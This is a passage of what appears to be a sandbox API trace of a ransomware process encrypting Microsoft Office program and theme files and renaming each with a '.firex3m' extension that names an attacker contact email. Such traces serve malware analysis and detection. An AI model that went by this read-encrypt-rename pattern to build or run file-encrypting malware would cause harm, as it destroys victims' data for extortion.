lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.655] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.655] CloseHandle (hObject=0x6c0) returned 1 [0236.655] GetProcessHeap () returned 0x630000 [0236.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665f20 | out: hHeap=0x630000) returned 1 [0236.655] GetProcessHeap () returned 0x630000 [0236.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666d90 | out: hHeap=0x630000) returned 1 [0236.655] GetProcessHeap () returned 0x630000 [0236.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0236.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x530268ac, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x55ffd20, dwReserved1=0x666d90, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d53c0 [0236.656] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0236.656] Sleep (dwMilliseconds=0x1) [0236.685] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE", len=0x6c | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE") returned 1 [0236.685] GetProcessHeap () returned 0x630000 [0236.685] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef8) returned 0x6fe3bb0 [0236.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\databasecompare.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0236.687] CloseHandle (hObject=0x6f4) returned 1 [0236.687] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\databasecompare.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\databasecompare.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.688] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4d48116, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b460, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="DATABASECOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~1.FIR")) returned 0x6d51c0 [0236.688] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\databasecompare.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0236.688] GetProcessHeap () returned 0x630000 [0236.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7350c60 [0236.689] GetProcessHeap () returned 0x630000 [0236.689] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x735c090 [0236.689] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.689] ReadFile (in: hFile=0x6f4, lpBuffer=0x7350c60, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7350c60*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0244.024] GetProcessHeap () returned 0x630000 [0244.024] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745ad20 [0244.024] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.024] WriteFile (in: hFile=0x6f4, lpBuffer=0x735c090*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x735c090*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0244.024] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.024] WriteFile (in: hFile=0x6f4, lpBuffer=0x736748f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x736748f*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0244.025] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.025] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0244.025] CloseHandle (hObject=0x6f4) returned 1 [0244.025] GetProcessHeap () returned 0x630000 [0244.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x735c090 | out: hHeap=0x630000) returned 1 [0244.026] GetProcessHeap () returned 0x630000 [0244.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7350c60 | out: hHeap=0x630000) returned 1 [0244.026] GetProcessHeap () returned 0x630000 [0244.026] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745ad20 | out: hHeap=0x630000) returned 1 [0244.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.026] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\DATABASECOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x57668cc2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2b484, dwReserved0=0xa707496, dwReserved1=0x7350c58, cFileName="DATABASECOMPARE.EXE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DATABA~1.FIR")) returned 0x6d5400 [0244.026] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0244.027] Sleep (dwMilliseconds=0x1) [0244.037] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe", len=0x71 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe") returned 1 [0244.037] GetProcessHeap () returned 0x630000 [0244.037] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e9c) returned 0x6fe3bb0 [0244.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\sqldumper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0244.038] CloseHandle (hObject=0x6f4) returned 1 [0244.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0244.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\sqldumper.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\sqldumper.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0244.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0244.039] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x310033, dwReserved1=0x5f0032, cFileName="SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLDUM~1.FIR")) returned 0x6d5280 [0244.039] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0244.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\sqldumper.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0244.040] GetProcessHeap () returned 0x630000 [0244.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219168 [0244.040] GetProcessHeap () returned 0x630000 [0244.040] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0244.041] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.041] ReadFile (in: hFile=0x6f4, lpBuffer=0x7219168, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219168*, lpNumberOfBytesRead=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.023] GetProcessHeap () returned 0x630000 [0252.023] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0252.023] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.023] WriteFile (in: hFile=0x6f4, lpBuffer=0x70c30a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesWritten=0x55fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0252.023] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.024] WriteFile (in: hFile=0x6f4, lpBuffer=0x70ce4a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4a7*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0252.024] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.024] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0252.024] CloseHandle (hObject=0x6f4) returned 1 [0252.025] GetProcessHeap () returned 0x630000 [0252.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0252.025] GetProcessHeap () returned 0x630000 [0252.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219168 | out: hHeap=0x630000) returned 1 [0252.025] GetProcessHeap () returned 0x630000 [0252.025] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0254.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c29db7e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b074, dwReserved0=0xa707496, dwReserved1=0x7219160, cFileName="SQLDumper.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQLDUM~1.FIR")) returned 0x6d5580 [0254.729] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0254.729] Sleep (dwMilliseconds=0x1) [0254.748] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF", len=0x68 | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF") returned 1 [0254.748] GetProcessHeap () returned 0x630000 [0254.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d84) returned 0x6fe3bb0 [0254.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0254.952] CloseHandle (hObject=0x6d8) returned 1 [0254.952] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.016] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffc6c | out: lpFindFileData=0x55ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="QUAD.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="QUADIN~1.FIR")) returned 0x6d53c0 [0255.016] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0255.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\quad.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0255.017] GetProcessHeap () returned 0x630000 [0255.017] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0255.017] GetProcessHeap () returned 0x630000 [0255.017] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8480 [0255.017] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.017] ReadFile (in: hFile=0x6d8, lpBuffer=0x6d77d8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesRead=0x55fff0c*=0x240, lpOverlapped=0x0) returned 1 [0255.058] GetProcessHeap () returned 0x630000 [0255.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0255.058] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.058] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d8480*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8480*, lpNumberOfBytesWritten=0x55fff0c*=0x240, lpOverlapped=0x0) returned 1 [0255.058] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.058] WriteFile (in: hFile=0x6d8, lpBuffer=0x6d86bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d86bf*, lpNumberOfBytesWritten=0x55fff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.058] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.058] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x55fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x55fff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.058] CloseHandle (hObject=0x6d8) returned 1 [0255.059] GetProcessHeap () returned 0x630000 [0255.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8480 | out: hHeap=0x630000) returned 1 [0255.059] GetProcessHeap () returned 0x630000 [0255.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0255.059] GetProcessHeap () returned 0x630000 [0255.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0255.059] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\QUAD.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x55ffcc4 | out: lpFindFileData=0x55ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5dfa4e0c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x55ffd20, dwReserved1=0x6d77d8, cFileName="QUAD.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="QUADIN~1.FIR")) returned 0x6d5340 [0255.059] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0255.059] Sleep (dwMilliseconds=0x1) [0255.076] SysReAllocStringLen (in: pbstr=0x55fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF", len=0x6e | out: pbstr=0x55fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF") returned 1 [0255.076] GetProcessHeap () returned 0x630000 [0255.076] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d50) returned 0x6fe3bb0 [0255.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0255.124] CloseHandle (hObject=0x6d8) returned 1 [0255.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0255.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\PAPYRUS.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\papyrus.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0255.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x55fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft 